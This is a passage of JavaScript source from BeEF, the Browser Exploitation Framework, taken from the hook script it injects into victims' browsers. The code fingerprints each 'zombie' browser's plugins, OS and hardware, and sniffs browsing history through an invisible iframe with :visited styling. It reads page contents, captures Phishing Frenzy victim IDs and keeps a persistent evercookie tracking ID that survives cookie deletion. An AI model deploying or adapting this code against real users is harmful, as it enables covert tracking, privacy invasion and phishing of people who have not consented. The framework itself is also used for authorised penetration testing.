  6573. if (has_webrtc) details['HasWebRTC'] = has_webrtc;
  6574. if (has_activex) details['HasActiveX'] = has_activex;
  6575. if (has_quicktime) details['HasQuickTime'] = has_quicktime;
  6576. if (has_realplayer) details['HasRealPlayer'] = has_realplayer;
  6577. if (has_wmp) details['HasWMP'] = has_wmp;
  6578.  
  6579. var pf_integration = "";
  6580. if (pf_integration) {
  6581. var pf_param = "uid";
  6582. var pf_victim_uid = "";
  6583. var location_search = window.location.search.substring(1);
  6584. var params = location_search.split('&');
  6585. for (var i = 0; i < params.length; i++) {
  6586. var param_entry = params[i].split('=');
  6587. if (param_entry[0] == pf_param) {
  6588. pf_victim_uid = param_entry[1];
  6589. details['PhishingFrenzyUID'] = pf_victim_uid;
  6590. break;
  6591. }
  6592. }
  6593. } else {
  6594. details['PhishingFrenzyUID'] = "N/A";
  6595. }
  6596.  
  6597. return details;
  6598. },
  6599.  
  6600. /**
  6601. * Returns boolean value depending on whether the browser supports ActiveX
  6602. */
  6603. hasActiveX: function () {
  6604. return !!window.ActiveXObject;
  6605. },
  6606.  
  6607. /**
  6608. * Returns boolean value depending on whether the browser supports WebRTC
  6609. */
  6610. hasWebRTC: function () {
  6611. return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
  6612. },
  6613.  
  6614. /**
  6615. * Returns boolean value depending on whether the browser supports Silverlight
  6616. */
  6617. hasSilverlight: function () {
  6618. var result = false;
  6619.  
  6620. try {
  6621. if (beef.browser.isIE()) {
  6622. var slControl = new ActiveXObject('AgControl.AgControl');
  6623. result = true;
  6624. } else if (navigator.plugins["Silverlight Plug-In"]) {
  6625. result = true;
  6626. }
  6627. } catch (e) {
  6628. result = false;
  6629. }
  6630.  
  6631. return result;
  6632. },
  6633.  
  6634. /**
  6635. * Returns array of results, whether or not the target zombie has visited the specified URL
  6636. */
  6637. hasVisited: function (urls) {
  6638. var results = new Array();
  6639. var iframe = beef.dom.createInvisibleIframe();
  6640. var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
  6641. ifdoc.open();
  6642. ifdoc.write('<style>a:visited{width:0px !important;}</style>');
  6643. ifdoc.close();
  6644. urls = urls.split("\n");
  6645. var count = 0;
  6646. for (var i in urls) {
  6647. var u = urls[i];
  6648. if (u != "" || u != null) {
  6649. var success = false;
  6650. var a = ifdoc.createElement('a');
  6651. a.href = u;
  6652. ifdoc.body.appendChild(a);
  6653. var width = null;
  6654. (a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
  6655. if (width == '0px') {
  6656. success = true;
  6657. }
  6658. results.push({'url': u, 'visited': success});
  6659. count++;
  6660. }
  6661. }
  6662. beef.dom.removeElement(iframe);
  6663. if (results.length == 0) {
  6664. return false;
  6665. }
  6666. return results;
  6667. },
  6668.  
  6669. /**
  6670. * Checks if the zombie has Web Sockets enabled.
  6671. * @return: {Boolean} true or false.
  6672. * In FF6+ the websocket object has been prefixed with Moz, so now it's called MozWebSocket
  6673. * */
  6674. hasWebSocket: function () {
  6675. return !!window.WebSocket || !!window.MozWebSocket;
  6676. },
  6677.  
  6678. /**
  6679. * Checks if the zombie has Web Workers enabled.
  6680. * @return: {Boolean} true or false.
  6681. * */
  6682. hasWebWorker: function () {
  6683. return (typeof(Worker) !== "undefined");
  6684. },
  6685.  
  6686. /**
  6687. * Checks if the zombie has WebGL enabled.
  6688. * @return: {Boolean} true or false.
  6689. *
  6690. * @from: https://github.com/idofilin/webgl-by-example/blob/master/detect-webgl/detect-webgl.js
  6691. * */
  6692. hasWebGL: function () {
  6693. try {
  6694. var canvas = document.createElement("canvas");
  6695. var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
  6696. return !!(gl && gl instanceof WebGLRenderingContext);
  6697. } catch(e) {
  6698. return false;
  6699. }
  6700. },
  6701.  
  6702. /**
  6703. * Checks if the zombie has Google Gears installed.
  6704. * @return: {Boolean} true or false.
  6705. *
  6706. * @from: https://code.google.com/apis/gears/gears_init.js
  6707. * */
  6708. hasGoogleGears: function () {
  6709.  
  6710. var ggfactory = null;
  6711.  
  6712. // Chrome
  6713. if (window.google && google.gears) return true;
  6714.  
  6715. // Firefox
  6716. if (typeof GearsFactory != 'undefined') {
  6717. ggfactory = new GearsFactory();
  6718. } else {
  6719. // IE
  6720. try {
  6721. ggfactory = new ActiveXObject('Gears.Factory');
  6722. // IE Mobile on WinCE.
  6723. if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
  6724. ggfactory.privateSetGlobalObject(this);
  6725. }
  6726. } catch (e) {
  6727. // Safari
  6728. if ((typeof navigator.mimeTypes != 'undefined')
  6729. && navigator.mimeTypes["application/x-googlegears"]) {
  6730. ggfactory = document.createElement("object");
  6731. ggfactory.style.display = "none";
  6732. ggfactory.width = 0;
  6733. ggfactory.height = 0;
  6734. ggfactory.type = "application/x-googlegears";
  6735. document.documentElement.appendChild(ggfactory);
  6736. if (ggfactory && (typeof ggfactory.create == 'undefined')) ggfactory = null;
  6737. }
  6738. }
  6739. }
  6740. if (!ggfactory) return false; else return true;
  6741. },
  6742.  
  6743. /**
  6744. * Checks if the zombie has Foxit PDF reader plugin.
  6745. * @return: {Boolean} true or false.
  6746. *
  6747. * @example: if(beef.browser.hasFoxit()) { ... }
  6748. * */
  6749. hasFoxit: function () {
  6750.  
  6751. var foxitplugin = false;
  6752.  
  6753. try {
  6754. if (beef.browser.isIE()) {
  6755. var foxitControl = new ActiveXObject('FoxitReader.FoxitReaderCtl.1');
  6756. foxitplugin = true;
  6757. } else if (navigator.plugins['Foxit Reader Plugin for Mozilla']) {
  6758. foxitplugin = true;
  6759. }
  6760. } catch (e) {
  6761. foxitplugin = false;
  6762. }
  6763.  
  6764. return foxitplugin;
  6765. },
  6766.  
  6767. /**
  6768. * Returns the page head HTML
  6769. **/
  6770. getPageHead: function () {
  6771. var html_head;
  6772. try {
  6773. html_head = document.head.innerHTML.toString();
  6774. } catch (e) {
  6775. }
  6776. return html_head;
  6777. },
  6778.  
  6779. /**
  6780. * Returns the page body HTML
  6781. **/
  6782. getPageBody: function () {
  6783. var html_body;
  6784. try {
  6785. html_body = document.body.innerHTML.toString();
  6786. } catch (e) {
  6787. }
  6788. return html_body;
  6789. },
  6790.  
  6791. /**
  6792. * Dynamically changes the favicon: works in Firefox, Chrome and Opera
  6793. **/
  6794. changeFavicon: function (favicon_url) {
  6795. var iframe = null;
  6796. if (this.isC()) {
  6797. iframe = document.createElement('iframe');
  6798. iframe.src = 'about:blank';
  6799. iframe.style.display = 'none';
  6800. document.body.appendChild(iframe);
  6801. }
  6802. var link = document.createElement('link'),
  6803. oldLink = document.getElementById('dynamic-favicon');
  6804. link.id = 'dynamic-favicon';
  6805. link.rel = 'shortcut icon';
  6806. link.href = favicon_url;
  6807. if (oldLink) document.head.removeChild(oldLink);
  6808. document.head.appendChild(link);
  6809. if (this.isC()) iframe.src += '';
  6810. },
  6811.  
  6812. /**
  6813. * Changes page title
  6814. **/
  6815. changePageTitle: function (title) {
  6816. document.title = title;
  6817. },
  6818.  
  6819. /**
  6820. * Get the browser language
  6821. */
  6822. getBrowserLanguage: function () {
  6823. var l = 'Unknown';
  6824. try {
  6825. l = window.navigator.userLanguage || window.navigator.language;
  6826. } catch (e) {
  6827. }
  6828. return l;
  6829. },
  6830.  
  6831. /**
  6832. * A function that gets the max number of simultaneous connections the
  6833. * browser can make per origin, or globally on all origin.
  6834. *
  6835. * This code is based on research from browserspy.dk
  6836. *
  6837. * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
  6838. * @return {Deferred promise} A jQuery deferred object promise, which when resolved passes
  6839. * the number of connections to the callback function as "this"
  6840. *
  6841. * example usage:
  6842. * $j.when(getMaxConnections()).done(function(){
  6843. * console.debug("Max Connections: " + this);
  6844. * });
  6845. *
  6846. */
  6847. getMaxConnections: function (scope) {
  6848.  
  6849. var imagesCount = 30; // Max number of images to test
  6850. var secondsTimeout = 5; // Image load timeout threashold
  6851. var testUrl = ""; // The image testing service URL
  6852.  
  6853. // User broserspy.dk max connections service URL.
  6854. if (scope == 'PER_DOMAIN')
  6855. testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
  6856. else
  6857. // The token will be replaced by a different number with each request (different origin).
  6858. testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
  6859.  
  6860. var imagesLoaded = 0; // Number of responding images before timeout.
  6861. var imagesRequested = 0; // Number of requested images.
  6862. var testImages = new Array(); // Array of all images.
  6863. var deferredObject = $j.Deferred(); // A jquery Deferred object.
  6864.  
  6865. for (var i = 1; i <= imagesCount; i++) {
  6866. // Asynchronously request image.
  6867. testImages[i] =
  6868. $j.ajax({
  6869. type: "get",
  6870. dataType: true,
  6871. url: (testUrl.replace("<token>", i)) + Math.random(),
  6872. data: "",
  6873. timeout: (secondsTimeout * 1000),
  6874.  
  6875. // Function on completion of request.
  6876. complete: function (jqXHR, textStatus) {
  6877.  
  6878. imagesRequested++;
  6879.  
  6880. // If the image returns a 200 or a 302, the text Status is "error", else null
  6881. if (textStatus == "error") {
  6882. imagesLoaded++;
  6883. }
  6884.  
  6885. // If all images requested
  6886. if (imagesRequested >= imagesCount) {
  6887. // resolve the deferred object passing the number of loaded images.
  6888. deferredObject.resolveWith(imagesLoaded);
  6889. }
  6890. }
  6891. });
  6892.  
  6893. }
  6894.  
  6895. // Return a promise to resolve the deffered object when the images are loaded.
  6896. return deferredObject.promise();
  6897.  
  6898. }
  6899.  
  6900. };
  6901.  
  6902. beef.regCmp('beef.browser');
  6903.  
  6904.  
  6905. //
  6906. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  6907. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  6908. // See the file 'doc/COPYING' for copying permission
  6909. //
  6910.  
  6911. /*!
  6912. * @literal object: beef.browser.cookie
  6913. *
  6914. * Provides fuctions for working with cookies.
  6915. * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
  6916. * Original author unknown.
  6917. *
  6918. */
  6919. beef.browser.cookie = {
  6920.  
  6921. setCookie: function (name, value, expires, path, domain, secure)
  6922. {
  6923.  
  6924. var today = new Date();
  6925. today.setTime( today.getTime() );
  6926.  
  6927. if ( expires )
  6928. {
  6929. expires = expires * 1000 * 60 * 60 * 24;
  6930. }
  6931. var expires_date = new Date( today.getTime() + (expires) );
  6932.  
  6933. document.cookie = name + "=" +escape( value ) +
  6934. ( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
  6935. ( ( path ) ? ";path=" + path : "" ) +
  6936. ( ( domain ) ? ";domain=" + domain : "" ) +
  6937. ( ( secure ) ? ";secure" : "" );
  6938. },
  6939.  
  6940. getCookie: function(name)
  6941. {
  6942. var a_all_cookies = document.cookie.split( ';' );
  6943. var a_temp_cookie = '';
  6944. var cookie_name = '';
  6945. var cookie_value = '';
  6946. var b_cookie_found = false;
  6947.  
  6948. for ( i = 0; i < a_all_cookies.length; i++ )
  6949. {
  6950. a_temp_cookie = a_all_cookies[i].split( '=' );
  6951. cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
  6952. if ( cookie_name == name )
  6953. {
  6954. b_cookie_found = true;
  6955. if ( a_temp_cookie.length > 1 )
  6956. {
  6957. cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
  6958. }
  6959. return cookie_value;
  6960. break;
  6961. }
  6962. a_temp_cookie = null;
  6963. cookie_name = '';
  6964. }
  6965. if ( !b_cookie_found )
  6966. {
  6967. return null;
  6968. }
  6969. },
  6970.  
  6971. deleteCookie: function (name, path, domain)
  6972. {
  6973. if ( this.getCookie(name) ) document.cookie = name + "=" +
  6974. ( ( path ) ? ";path=" + path : "") +
  6975. ( ( domain ) ? ";domain=" + domain : "" ) +
  6976. ";expires=Thu, 01-Jan-1970 00:00:01 GMT";
  6977. },
  6978.  
  6979. /* Never stop the madness dear C. */
  6980. veganLol: function (){
  6981. var to_hell= '';
  6982. var min = 17;
  6983. var max = 25;
  6984. var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
  6985.  
  6986. var grunt = function(){
  6987. var moo = Math.floor(Math.random() * 62);
  6988. var char = '';
  6989. if(moo < 36){
  6990. char = String.fromCharCode(moo + 55);
  6991. }else{
  6992. char = String.fromCharCode(moo + 61);
  6993. }
  6994. if(char != ';' && char != '='){
  6995. return char;
  6996. }else{
  6997. return 'x';
  6998. }
  6999. };
  7000.  
  7001. while(to_hell.length < lol_length){
  7002. to_hell += grunt();
  7003. }
  7004. return to_hell;
  7005. },
  7006.  
  7007. hasSessionCookies: function (name){
  7008. this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
  7009.  
  7010. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  7011. this.deleteCookie(name, '/', '');
  7012. return cookiesEnabled;
  7013.  
  7014. },
  7015.  
  7016. hasPersistentCookies: function (name){
  7017. this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
  7018.  
  7019. cookiesEnabled = (this.getCookie(name) == null)? false:true;
  7020. this.deleteCookie(name, '/', '');
  7021. return cookiesEnabled;
  7022.  
  7023. }
  7024.  
  7025. };
  7026.  
  7027. beef.regCmp('beef.browser.cookie');
  7028.  
  7029. //
  7030. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  7031. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7032. // See the file 'doc/COPYING' for copying permission
  7033. //
  7034.  
  7035. /*!
  7036. * @literal object: beef.browser.popup
  7037. *
  7038. * Provides fuctions for working with cookies.
  7039. * Several functions adopted from http://davidwalsh.name/popup-block-javascript
  7040. * Original author unknown.
  7041. *
  7042. */
  7043. beef.browser.popup = {
  7044.  
  7045. blocker_enabled: function ()
  7046. {
  7047. screenParams = beef.browser.getScreenSize();
  7048. var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
  7049. if (popUp == null || typeof(popUp)=='undefined') {
  7050. return true;
  7051. } else {
  7052. popUp.close();
  7053. return false;
  7054. }
  7055. }
  7056. };
  7057.  
  7058. beef.regCmp('beef.browser.popup');
  7059.  
  7060.  
  7061. //
  7062. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  7063. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7064. // See the file 'doc/COPYING' for copying permission
  7065. //
  7066.  
  7067. /*!
  7068. * @literal object: beef.session
  7069. *
  7070. * Provides basic session functions.
  7071. */
  7072. beef.session = {
  7073.  
  7074. hook_session_id_length: 80,
  7075. hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",
  7076. ec: new evercookie(),
  7077. beefhook: "BEEFHOOK",
  7078.  
  7079. /**
  7080. * Gets a string which will be used to identify the hooked browser session
  7081. *
  7082. * @example: var hook_session_id = beef.session.get_hook_session_id();
  7083. */
  7084. get_hook_session_id: function() {
  7085. // check if the browser is already known to the framework
  7086. var id = this.ec.evercookie_cookie(beef.session.beefhook);
  7087. if (typeof id == 'undefined') {
  7088. var id = this.ec.evercookie_userdata(beef.session.beefhook);
  7089. }
  7090. if (typeof id == 'undefined') {
  7091. var id = this.ec.evercookie_window(beef.session.beefhook);
  7092. }
  7093.  
  7094. // if the browser is not known create a hook session id and set it
  7095. if ((typeof id == 'undefined') || (id == null)) {
  7096. id = this.gen_hook_session_id();
  7097. this.set_hook_session_id(id);
  7098. }
  7099.  
  7100. // return the hooked browser session identifier
  7101. return id;
  7102. },
  7103.  
  7104. /**
  7105. * Sets a string which will be used to identify the hooked browser session
  7106. *
  7107. * @example: beef.session.set_hook_session_id('RANDOMSTRING');
  7108. */
  7109. set_hook_session_id: function(id) {
  7110. // persist the hook session id
  7111. this.ec.evercookie_cookie(beef.session.beefhook, id);
  7112. this.ec.evercookie_userdata(beef.session.beefhook, id);
  7113. this.ec.evercookie_window(beef.session.beefhook, id);
  7114. },
  7115.  
  7116. /**
  7117. * Generates a random string using the chars in hook_session_id_chars.
  7118. *
  7119. * @example: beef.session.gen_hook_session_id();
  7120. */
  7121. gen_hook_session_id: function() {
  7122. // init the return value
  7123. var hook_session_id = "";
  7124.  
  7125. // construct the random string
  7126. for(var i=0; i<this.hook_session_id_length; i++) {
  7127. var rand_num = Math.floor(Math.random()*this.hook_session_id_chars.length);
  7128. hook_session_id += this.hook_session_id_chars.charAt(rand_num);
  7129. }
  7130.  
  7131. return hook_session_id;
  7132. }
  7133. };
  7134.  
  7135. beef.regCmp('beef.session');
  7136.  
  7137.  
  7138. //
  7139. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  7140. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7141. // See the file 'doc/COPYING' for copying permission
  7142. //
  7143.  
  7144. beef.os = {
  7145.  
  7146. ua: navigator.userAgent,
  7147.  
  7148. /**
  7149. * Detect default browser (IE only)
  7150. * Written by unsticky
  7151. * http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
  7152. */
  7153. getDefaultBrowser: function() {
  7154. var result = "Unknown"
  7155. try {
  7156. var mt = document.mimeType;
  7157. if (mt) {
  7158. if (mt == "Safari Document") result = "Safari";
  7159. if (mt == "Firefox HTML Document") result = "Firefox";
  7160. if (mt == "Chrome HTML Document") result = "Chrome";
  7161. if (mt == "HTML Document") result = "Internet Explorer";
  7162. if (mt == "Opera Web Document") result = "Opera";
  7163. }
  7164. } catch (e) {
  7165. beef.debug("[os] getDefaultBrowser: "+e.message);
  7166. }
  7167. return result;
  7168. },
  7169.  
  7170. // the likelihood that we hook Windows 3.11 (which has only Win in the UA string) is zero in 2015
  7171. isWin311: function() {
  7172. return (this.ua.match('(Win16)')) ? true : false;
  7173. },
  7174.  
  7175. isWinNT4: function() {
  7176. return (this.ua.match('(Windows NT 4.0)')) ? true : false;
  7177. },
  7178.  
  7179. isWin95: function() {
  7180. return (this.ua.match('(Windows 95)|(Win95)|(Windows_95)')) ? true : false;
  7181. },
  7182. isWinCE: function() {
  7183. return (this.ua.match('(Windows CE)')) ? true : false;
  7184. },
  7185.  
  7186. isWin98: function() {
  7187. return (this.ua.match('(Windows 98)|(Win98)')) ? true : false;
  7188. },
  7189.  
  7190. isWinME: function() {
  7191. return (this.ua.match('(Windows ME)|(Win 9x 4.90)')) ? true : false;
  7192. },
  7193.  
  7194. isWin2000: function() {
  7195. return (this.ua.match('(Windows NT 5.0)|(Windows 2000)')) ? true : false;
  7196. },
  7197.  
  7198. isWin2000SP1: function() {
  7199. return (this.ua.match('Windows NT 5.01 ')) ? true : false;
  7200. },
  7201.  
  7202. isWinXP: function() {
  7203. return (this.ua.match('(Windows NT 5.1)|(Windows XP)')) ? true : false;
  7204. },
  7205.  
  7206. isWinServer2003: function() {
  7207. return (this.ua.match('(Windows NT 5.2)')) ? true : false;
  7208. },
  7209.  
  7210. isWinVista: function() {
  7211. return (this.ua.match('(Windows NT 6.0)')) ? true : false;
  7212. },
  7213.  
  7214. isWin7: function() {
  7215. return (this.ua.match('(Windows NT 6.1)|(Windows NT 7.0)')) ? true : false;
  7216. },
  7217.  
  7218. isWin8: function() {
  7219. return (this.ua.match('(Windows NT 6.2)')) ? true : false;
  7220. },
  7221.  
  7222. isWin81: function() {
  7223. return (this.ua.match('(Windows NT 6.3)')) ? true : false;
  7224. },
  7225.  
  7226. isWin10: function() {
  7227. return (this.ua.match('Windows NT 10.0')) ? true : false;
  7228. },
  7229.  
  7230. isOpenBSD: function() {
  7231. return (this.ua.indexOf('OpenBSD') != -1) ? true : false;
  7232. },
  7233.  
  7234. isSunOS: function() {
  7235. return (this.ua.indexOf('SunOS') != -1) ? true : false;
  7236. },
  7237.  
  7238. isLinux: function() {
  7239. return (this.ua.match('(Linux)|(X11)')) ? true : false;
  7240. },
  7241.  
  7242. isMacintosh: function() {
  7243. return (this.ua.match('(Mac_PowerPC)|(Macintosh)|(MacIntel)')) ? true : false;
  7244. },
  7245.  
  7246. isOsxYosemite: function(){ // TODO
  7247. return (this.ua.match('(OS X 10_10)|(OS X 10.10)')) ? true : false;
  7248. },
  7249. isOsxMavericks: function(){ // TODO
  7250. return (this.ua.match('(OS X 10_9)|(OS X 10.9)')) ? true : false;
  7251. },
  7252. isOsxSnowLeopard: function(){ // TODO
  7253. return (this.ua.match('(OS X 10_8)|(OS X 10.8)')) ? true : false;
  7254. },
  7255. isOsxLeopard: function(){ // TODO
  7256. return (this.ua.match('(OS X 10_7)|(OS X 10.7)')) ? true : false;
  7257. },
  7258.  
  7259. isWinPhone: function() {
  7260. return (this.ua.match('(Windows Phone)')) ? true : false;
  7261. },
  7262.  
  7263. isIphone: function() {
  7264. return (this.ua.indexOf('iPhone') != -1) ? true : false;
  7265. },
  7266.  
  7267. isIpad: function() {
  7268. return (this.ua.indexOf('iPad') != -1) ? true : false;
  7269. },
  7270.  
  7271. isIpod: function() {
  7272. return (this.ua.indexOf('iPod') != -1) ? true : false;
  7273. },
  7274.  
  7275. isNokia: function() {
  7276. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)')) ? true : false;
  7277. },
  7278.  
  7279. isAndroid: function() {
  7280. return (this.ua.match('Android')) ? true : false;
  7281. },
  7282.  
  7283. isBlackBerry: function() {
  7284. return (this.ua.match('BlackBerry')) ? true : false;
  7285. },
  7286.  
  7287. isWebOS: function() {
  7288. return (this.ua.match('webOS')) ? true : false;
  7289. },
  7290.  
  7291. isQNX: function() {
  7292. return (this.ua.match('QNX')) ? true : false;
  7293. },
  7294.  
  7295. isBeOS: function() {
  7296. return (this.ua.match('BeOS')) ? true : false;
  7297. },
  7298.  
  7299. isAros: function() {
  7300. return (this.ua.match('AROS')) ? true : false;
  7301. },
  7302.  
  7303. isWindows: function() {
  7304. return (this.ua.match('Windows')) ? true : false;
  7305. },
  7306.  
  7307. getName: function() {
  7308.  
  7309. if(this.isWindows()){
  7310. return 'Windows';
  7311. }
  7312.  
  7313. if(this.isMacintosh()) {
  7314. return 'OSX';
  7315. }
  7316.  
  7317. //Nokia
  7318. if(this.isNokia()) {
  7319. if (this.ua.indexOf('Maemo Browser') != -1) return 'Maemo';
  7320. if (this.ua.match('(SymbianOS)|(Symbian OS)')) return 'SymbianOS';
  7321. if (this.ua.indexOf('Symbian') != -1) return 'Symbian';
  7322. }
  7323.  
  7324. // BlackBerry
  7325. if(this.isBlackBerry()) return 'BlackBerry OS';
  7326.  
  7327. // Android
  7328. if(this.isAndroid()) return 'Android';
  7329.  
  7330. // SunOS
  7331. if(this.isSunOS()) return 'SunOS';
  7332.  
  7333. //Linux
  7334. if(this.isLinux()) return 'Linux';
  7335.  
  7336. //iPhone
  7337. if (this.isIphone()) return 'iOS';
  7338. //iPad
  7339. if (this.isIpad()) return 'iOS';
  7340. //iPod
  7341. if (this.isIpod()) return 'iOS';
  7342.  
  7343. //others
  7344. if(this.isQNX()) return 'QNX';
  7345. if(this.isBeOS()) return 'BeOS';
  7346. if(this.isWebOS()) return 'webOS';
  7347. if(this.isAros()) return 'AROS';
  7348.  
  7349. return 'unknown';
  7350. },
  7351.  
  7352. getVersion: function(){
  7353. //Windows
  7354. if(this.isWindows()) {
  7355. if (this.isWin10()) return '10';
  7356. if (this.isWin81()) return '8.1';
  7357. if (this.isWin8()) return '8';
  7358. if (this.isWin7()) return '7';
  7359. if (this.isWinVista()) return 'Vista';
  7360. if (this.isWinXP()) return 'XP';
  7361. if (this.isWinServer2003()) return 'Server 2003';
  7362. if (this.isWin2000SP1()) return '2000 SP1';
  7363. if (this.isWin2000()) return '2000';
  7364. if (this.isWinME()) return 'Millenium';
  7365.  
  7366. if (this.isWinNT4()) return 'NT 4';
  7367. if (this.isWinCE()) return 'CE';
  7368. if (this.isWin95()) return '95';
  7369. if (this.isWin98()) return '98';
  7370. }
  7371.  
  7372. // OS X
  7373. if(this.isMacintosh()) {
  7374. if (this.isOsxYosemite()) return '10.10';
  7375. if (this.isOsxMavericks()) return '10.9';
  7376. if (this.isOsxSnowLeopard()) return '10.8';
  7377. if (this.isOsxLeopard()) return '10.7';
  7378. }
  7379.  
  7380. // TODO add Android/iOS version detection
  7381. }
  7382. };
  7383.  
  7384. beef.regCmp('beef.net.os');
  7385.  
  7386.  
  7387. //
  7388. // Copyright (c) 2006-2018 Wade Alcorn - wade@bindshell.net
  7389. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  7390. // See the file 'doc/COPYING' for copying permission
  7391. //
  7392.  
  7393. beef.hardware = {
  7394.  
  7395. ua: navigator.userAgent,
  7396.  
  7397. /*
  7398. * @return: {String} CPU type
  7399. **/
  7400. cpuType: function() {
  7401. var arch = 'UNKNOWN';
  7402. // note that actually WOW64 means IE 32bit and Windows 64 bit. we are more interested
  7403. // in detecting the OS arch rather than the browser build
  7404. if (navigator.userAgent.match('(WOW64|x64|x86_64)') || navigator.platform.toLowerCase() == "win64"){
  7405. arch = 'x86_64';
  7406. }else if(typeof navigator.cpuClass != 'undefined'){
  7407. switch (navigator.cpuClass) {
  7408. case '68K':
  7409. arch = 'Motorola 68K';
  7410. break;
  7411. case 'PPC':
  7412. arch = 'Motorola PPC';
  7413. break;
  7414. case 'Digital':
  7415. arch = 'Alpha';
  7416. break;
  7417. default:
  7418. arch = 'x86';
  7419. }
  7420. }
  7421. // TODO we can infer the OS is 64 bit, if we first detect the OS type (os.js).
  7422. // For example, if OSX is at least 10.7, most certainly is 64 bit.
  7423. return arch;
  7424. },
  7425.  
  7426. /*
  7427. * @return: {Boolean} true or false.
  7428. **/
  7429. isTouchEnabled: function() {
  7430. if ('ontouchstart' in document) return true;
  7431. return false;
  7432. },
  7433.  
  7434. /*
  7435. * @return: {Boolean} true or false.
  7436. **/
  7437. isVirtualMachine: function() {
  7438. if (this.isMobileDevice()) return false;
  7439. if (screen.width % 2 || screen.height % 2) return true;
  7440. return false;
  7441. },
  7442.  
  7443. /*
  7444. * @return: {Boolean} true or false.
  7445. **/
  7446. isLaptop: function() {
  7447. if (this.isMobileDevice()) return false;
  7448. // Most common laptop screen resolution
  7449. if (screen.width == 1366 && screen.height == 768) return true;
  7450. // Netbooks
  7451. if (screen.width == 1024 && screen.height == 600) return true;
  7452. return false;
  7453. },
  7454.  
  7455. /*
  7456. * @return: {Boolean} true or false.
  7457. **/
  7458. isNokia: function() {
  7459. return (this.ua.match('(Maemo Browser)|(Symbian)|(Nokia)|(Lumia )')) ? true : false;
  7460. },
  7461.  
  7462. /*
  7463. * @return: {Boolean} true or false.
  7464. **/
  7465. isZune: function() {
  7466. return (this.ua.match('ZuneWP7')) ? true : false;
  7467. },
  7468.  
  7469. /*
  7470. * @return: {Boolean} true or false.
  7471. **/
  7472. isHtc: function() {
  7473. return (this.ua.match('HTC')) ? true : false;
  7474. },
  7475.  
  7476. /*
  7477. * @return: {Boolean} true or false.
  7478. **/
  7479. isEricsson: function() {
  7480. return (this.ua.match('Ericsson')) ? true : false;
  7481. },
  7482.  
  7483. /*
  7484. * @return: {Boolean} true or false.
  7485. **/
  7486. isMotorola: function() {
  7487. return (this.ua.match('Motorola')) ? true : false;
  7488. },
  7489.  
  7490. /*
  7491. * @return: {Boolean} true or false.
  7492. **/
  7493. isGoogle: function() {
  7494. return (this.ua.match('Nexus One')) ? true : false;
  7495. },
  7496.  
  7497. /**
  7498. * Returns true if the browser is on a Mobile device
  7499. * @return: {Boolean} true or false
  7500. *
  7501. * @example: if(beef.hardware.isMobileDevice()) { ... }
  7502. **/
  7503. isMobileDevice: function() {
  7504. return MobileEsp.DetectMobileQuick();
  7505. },
  7506.  
  7507. /**
  7508. * Returns true if the browser is on a game console
  7509. * @return: {Boolean} true or false
  7510. *
  7511. * @example: if(beef.hardware.isGameConsole()) { ... }
  7512. **/
  7513. isGameConsole: function() {
  7514. return MobileEsp.DetectGameConsole();
  7515. },
  7516.  
  7517. getName: function() {
  7518. var ua = navigator.userAgent.toLowerCase();
  7519. if(MobileEsp.DetectIphone()) { return "iPhone"};
  7520. if(MobileEsp.DetectIpod()) { return "iPod Touch"};
  7521. if(MobileEsp.DetectIpad()) { return "iPad"};
  7522. if (this.isHtc()) { return 'HTC'};
  7523. if (this.isMotorola()) { return 'Motorola'};
  7524. if (this.isZune()) { return 'Zune'};
  7525. if (this.isGoogle()) { return 'Google Nexus One'};
  7526. if (this.isEricsson()) { return 'Ericsson'};
  7527. if(MobileEsp.DetectAndroidPhone()) { return "Android Phone"};
  7528. if(MobileEsp.DetectAndroidTablet()) { return "Android Tablet"};
  7529. if(MobileEsp.DetectS60OssBrowser()) { return "Nokia S60 Open Source"};
  7530. if(ua.search(MobileEsp.deviceS60) > -1) { return "Nokia S60"};
  7531. if(ua.search(MobileEsp.deviceS70) > -1) { return "Nokia S70"};
  7532. if(ua.search(MobileEsp.deviceS80) > -1) { return "Nokia S80"};
  7533. if(ua.search(MobileEsp.deviceS90) > -1) { return "Nokia S90"};
  7534. if(ua.search(MobileEsp.deviceSymbian) > -1) { return "Nokia Symbian"};
  7535. if (this.isNokia()) { return 'Nokia'};
  7536. if(MobileEsp.DetectWindowsPhone7()) { return "Windows Phone 7"};
  7537. if(MobileEsp.DetectWindowsPhone8()) { return "Windows Phone 8"};
  7538. if(MobileEsp.DetectWindowsPhone10()) { return "Windows Phone 10"};
  7539. if(MobileEsp.DetectWindowsMobile()) { return "Windows Mobile"};
  7540. if(MobileEsp.DetectBlackBerryTablet()) { return "BlackBerry Tablet"};
  7541. if(MobileEsp.DetectBlackBerryWebKit()) { return "BlackBerry OS 6"};
  7542. if(MobileEsp.DetectBlackBerryTouch()) { return "BlackBerry Touch"};
